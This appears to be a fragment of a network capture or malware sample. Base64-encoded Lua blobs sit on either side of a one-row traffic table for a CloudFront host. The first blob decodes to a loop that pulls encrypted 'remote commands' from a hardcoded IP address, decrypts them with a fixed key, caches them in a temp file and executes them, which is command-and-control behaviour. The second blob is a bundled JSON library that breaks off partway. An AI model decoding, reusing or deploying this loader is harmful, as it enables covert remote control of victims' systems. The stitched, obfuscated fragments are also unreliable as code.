cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d3b8bjraovjdbz.cloudfront.net (54.192.14.52:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
4 | /v2/tfn5306351516.html(3) | text/html | tfn5306351516.html(3) | 200 OK | TEXT | 46.2 KB | 10/16/24 14:21:38 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
